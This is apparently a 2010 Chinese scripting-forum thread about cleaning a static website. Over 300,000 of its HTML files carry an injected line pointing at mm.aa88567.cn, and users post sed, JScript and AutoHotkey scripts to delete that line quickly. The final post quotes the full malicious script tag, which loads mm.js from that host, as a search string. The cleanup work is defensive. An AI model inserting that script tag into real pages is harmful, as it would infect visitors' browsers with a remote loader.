标题: 【出题】30万文件快速替换
[打印本页]
作者: plp626
时间: 2010-3-2 23:59
标题: 【出题】30万文件快速替换
手上现在有30多万htm文件(还有少量的html),这些文件里有相当多的一部分挂马,发现这些挂马的html及htm源文件的最后一行含有mm.aa88567.cn这个网址,
现在,
要找出那些挂马的网页(最后一行包含字符串"mm.aa88567.cn”),然后把它的最后一行删掉,
使用工具,windows 自带的常用工具,或者外部工具:perl,sed,。。。(体积大小不超过1M的皆可)
现在
求处理速度最快的工具,及其方案(代码)
sed (40K 版本 4.0.7)下载:
http://upload.cn-dos.net/img/1813.rar
perl(369K 版本 5.005_03) 下载:
http://upload.cn-dos.net/img/1814.rar
下面是生产测试文件的bat代码:
@echo off&setlocal enabledelayedexpansion
md test&cd test
echo 正在生产测试文件。。。
for /l %%a in (1 1 2000)do (
(echo ^<html^>
echo ...!random!...
echo ^<... http://mm.aa88567.cn/ ... ^>
)>!random!!time:~-2!!random!.htm
)
for /l %%a in (1 1 3000)do (
(echo ^<html^>
echo ...!random!...
echo dfddfd
)>!random!!time:~-2!!random!!time:~-2!.html
)
set ff=!random!
md %ff%
for /l %%a in (1 1 2000)do (
(echo ^<html^>
echo ...!random!...
echo ^<... http://mm.aa88567.cn/ ... ^>
)>%ff%\!random!!time:~-2!!random!.htm
)
for /l %%a in (1 1 3000)do (
(echo ^<html^>
echo ...!random!...
echo dfddfd
)>%ff%\!random!!time:~-2!!random!!time:~-2!.html
)
[
Last edited by plp626 on 2010-3-4 at 23:00 ]
作者: radem
时间: 2010-3-3 01:46
WIN32的要吗
速度未知
附件
1:
20100303013116751.png (2010-3-3 01:46, 2.68 K, 下载附件所需积分 1点
,下载次数: 8)
作者: Pierre
时间: 2010-3-3 02:19
试试
for /f "delims=" %%i in ('dir /s /b *.html') do sed -i "${/mm\.aa88567\.cn/d}" "%%i"
[
Last edited by Pierre on 2010-3-3 at 02:23 ]
作者: HAT
时间: 2010-3-3 04:36
sed -i "/mm\.aa88567\.cn/d" *.html
作者: qq330878338
时间: 2010-3-3 14:34
看了下 不简单 只能帮顶了。
作者: plp626
时间: 2010-3-3 15:09
4楼的代码应该是比较快的---- 相比3路没有频繁的启动sed
可是:
用1楼的bat代码生成测试文件在test目录内,于test父目录路径下打开cmd,键入 sed -i "/mm\.aa88567\.cn/d" test\*.html
后,不等几秒钟便出现sed什么内存不能为read的错误
貌似sed最多支持批量处理文件为512个,因为在目录生成了511个临时文件就弹出了这错误对话框,
不知何故,继续关注。。。。
[
Last edited by plp626 on 2010-3-3 at 15:11 ]
作者: tachyon
时间: 2010-3-3 16:06
直接sed速度最快,不要用通过for, for的效率是最低的。 频繁开启&结束sed进程,对系统资源也是极大消耗,估计用不了多久cpu / mem 就out了。
还有,300,000 文件挨个处理速度不会太快的,毕竟牵扯到磁盘操作,不像是在内存里做计算类任务。
作者: tachyon
时间: 2010-3-3 16:10
Quote: |
Originally posted by plp626 at 2010-3-3 15:09:
4楼的代码应该是比较快的---- 相比3路没有频繁的启动sed
可是:
用1楼的bat代码生成测试文件在test目录内,于test父目录路径下打开cmd,键入 sed -i &q ... |
|
这个还是要看sed文档了,如果有同时编辑的文件数目限制,那可以先通过batch
把所有文件按数量划分到若干个目录,之后再依次对各个目录进行sed 处理。
作者: sady2009
时间: 2010-3-3 16:41
现在的内存都很大.
安装个ramdisk .把文件弄到ramdisk 盘中再用批处理. 它的小文件存取速度是非常惊人的. 相对于在内存中执行一样了.
作者: Pierre
时间: 2010-3-3 17:19
直接 *.html的话,通配符匹配到的文件都是以参数形式传递给sed来执行的,所以不能超出某个量数
—— 如果你在shell下这样用sed的话,就会出现
-bash: /bin/sed: Argument list too long
这样的错误
当然,不仅仅是sed这样, awk/grep 等均有此待遇
如果想效率再高点的话,可以切割列表,500个一次送给sed处理
[
Last edited by Pierre on 2010-3-3 at 17:20 ]
作者: Pierre
时间: 2010-3-3 17:27
或者,直接用perl处理,让它循环处理
可惜用得不熟,迟点试着写个解决看看罢。。。
作者: plp626
时间: 2010-3-3 20:42
我对perl也不怎么懂,还真希望有某高人能用一楼提供的perl来试试,
期待中。。。。。
作者: freeants001
时间: 2010-3-4 16:19
贴个自已用的JS文件替换代码,按楼主的要求修改了下。
if(WScript.arguments.length==0)PathSpec=get_path();
else PathSpec=WScript.arguments(0);
fso=new ActiveXObject("Scripting.FileSystemObject");
WshShell=WScript.CreateObject("WScript.Shell");
WshShell.CurrentDirectory=fso.GetParentFolderName(WScript.ScriptFullName);
if(!fso.FolderExists("#ReplacedFiles#"))fso.CreateFolder("#ReplacedFiles#");
WshShell.CurrentDirectory="#ReplacedFiles#"
Main(PathSpec);
WScript.quit();
function Main(FileSpec){
var fld,fs,fds,f,fd,curdir;
curdir=fso.GetBaseName(FileSpec);
if(!fso.FolderExists(curdir))fso.CreateFolder(curdir);
curdir=fso.GetAbsolutePathName(curdir);
WshShell.CurrentDirectory=curdir;
fld = fso.getfolder(FileSpec);
fds = new Enumerator(fld.subfolders);
fs = new Enumerator(fld.files)
for(;!fs.atEnd();fs.moveNext()){
f=fs.item();if(f.size==0)continue;
if(/^html?$/gi.test(fso.getextensionname(f.name).toLowerCase())){
try{
var fl=fso.opentextfile(f.path,1);
var sss=fl.readall();
fl.close();
}catch(err){
WScript.quit();
}
var fl=fso.opentextfile(fso.GetBaseName(f.path)+".txt",2,true);
sss=sss.replace(/.*mm\.aa88567\.cn.*\s*$/,"");
fl.write(sss);
fl.close();
}
}
for(;!fds.atEnd();fds.moveNext()){
d=fds.item();
Main(d.path)
WshShell.CurrentDirectory=curdir
}
}
function get_path(){
var objShell = new ActiveXObject("Shell.Application")
do{
var objFolder = objShell.BrowseForFolder(0, "请选择文件夹:",0x301,0x11)
if(objFolder == null)WScript.quit()
var objPath = objFolder.Self.Path;
if(/^[a-z]:\\.+$/gi.test(objPath))break;
}while(true)
return objPath;
}
作者: freeants001
时间: 2010-3-4 20:18
再来一段AHK脚本
FileSelectFolder, sPath ,,3,请选择你要处理的文件夹:
if not %errorlevel%
{
IfNotExist,%sPath%_BAK
{
MsgBox,4,,没有发现备份,是否创建备份?
IfMsgBox Yes
{
TrayTip,,正在创建备份 ……,5
FileCopyDir %sPath% , %sPath%_BAK
}
}
Loop, %sPath%\*.html, , 1 ; Recurse into subfolders.
{
FileRead, sText, %A_LoopFileFullPath%
sss := RegExReplace( sText ,".*mm\.aa88567\.cn.*\s$", "")
FileDelete %A_LoopFileFullPath%
FileAppend %sss%, %A_LoopFileFullPath%
}
}
loop 2
{
soundBeep 2500,500
sleep 500
}
作者: plp626
时间: 2010-3-4 21:23
13楼的代码试了下,速度那时没的说,只是,文件的后缀名统一被改为txt了,那些网页文件,索引的后缀是html,非索引的是htm,
对js不懂,你的代码后缀名不变的情形如何修改?
作者: freeants001
时间: 2010-3-4 21:32
这样可以了
;)
if(WScript.arguments.length==0)PathSpec=get_path();
else PathSpec=WScript.arguments(0);
fso=new ActiveXObject("Scripting.FileSystemObject");
WshShell=WScript.CreateObject("WScript.Shell");
WshShell.CurrentDirectory=fso.GetParentFolderName(WScript.ScriptFullName);
if(!fso.FolderExists("#ReplacedFiles#"))fso.CreateFolder("#ReplacedFiles#");
WshShell.CurrentDirectory="#ReplacedFiles#"
Main(PathSpec);
WScript.quit();
function Main(FileSpec){
var fld,fs,fds,f,fd,curdir;
curdir=fso.GetBaseName(FileSpec);
if(!fso.FolderExists(curdir))fso.CreateFolder(curdir);
curdir=fso.GetAbsolutePathName(curdir);
WshShell.CurrentDirectory=curdir;
fld = fso.getfolder(FileSpec);
fds = new Enumerator(fld.subfolders);
fs = new Enumerator(fld.files)
for(;!fs.atEnd();fs.moveNext()){
f=fs.item();if(f.size==0)continue;
if(/^html?$/gi.test(ext=fso.getextensionname(f.name).toLowerCase())){
try{
var fl=fso.opentextfile(f.path,1);
var sss=fl.readall();
fl.close();
}catch(err){
WScript.quit();
}
var fl=fso.opentextfile(fso.GetBaseName(f.path)+"."+ext,2,true);
sss=sss.replace(/.*mm\.aa88567\.cn.*\s*$/,"");
fl.write(sss);
fl.close();
}
}
for(;!fds.atEnd();fds.moveNext()){
d=fds.item();
Main(d.path)
WshShell.CurrentDirectory=curdir
}
}
function get_path(){
var objShell = new ActiveXObject("Shell.Application")
do{
var objFolder = objShell.BrowseForFolder(0, "请选择文件夹:",0x301,0x11)
if(objFolder == null)WScript.quit()
var objPath = objFolder.Self.Path;
if(/^[a-z]:\\.+$/gi.test(objPath))break;
}while(true)
return objPath;
}
[
Last edited by freeants001 on 2010-3-4 at 22:45 ]
作者: plp626
时间: 2010-3-4 22:22
var fl=fso.opentextfile(fso.GetBaseName(f.path)+".
html",2,true);
恐怕不仅仅是将txt改为html这么简单;我不知道获取你代码里那个“f.path”后缀的函数是什么,兄是否可以吧红色的那个html改为它呢?
这些文件大都是htm文件 ,但还有不少html文件(为索引文件)
如果都同一改为html,那么那些本来是htm的文件的链接会失效,在替换的时候,文件名要保持原样。
PS:这30万的网页文件时某个静态网站的所有文件。
[
Last edited by plp626 on 2010-3-4 at 22:26 ]
作者: freeants001
时间: 2010-3-4 22:48
16楼已修改
作者: plp626
时间: 2010-3-4 22:55
我测试了下,16楼的代码只替换test目录里后缀名为html的文件,而htm的文件没有得到替换,这是何故,测试文件用1楼的代码生成
作者: freeants001
时间: 2010-3-4 23:01
Quote: |
Originally posted by plp626 at 2010-3-4 22:55:
我测试了下,16楼的代码只替换test目录里后缀名为html的文件,而htm的文件没有得到替换,这是何故,测试文件用1楼的代码生成 |
|
不会吧,我这里测试可以啊。
作者: plp626
时间: 2010-3-4 23:28
16楼的代码正确,是我的原因
试着运行了下,20多万文件替换了8千多文件用时近8分钟(如果总数是1万个文件替换完却用时不到1分钟,不知为何),看来得30*8=240分钟,呀,得4个小时,是当时下载所花时间的一半。
[
Last edited by plp626 on 2010-3-4 at 23:39 ]
作者: plp626
时间: 2010-5-20 13:20
我电脑上就有一个这样的三方工具,直接替换的,老早下载的白杨作品集——fr.exe,速度灰常快,测试了下,10分钟左右全部替换完了
fr *.htm* -s -f:"<scr<script language=javascript src=http://mm.aa88567.cn/index/mm.js></script>" -t:""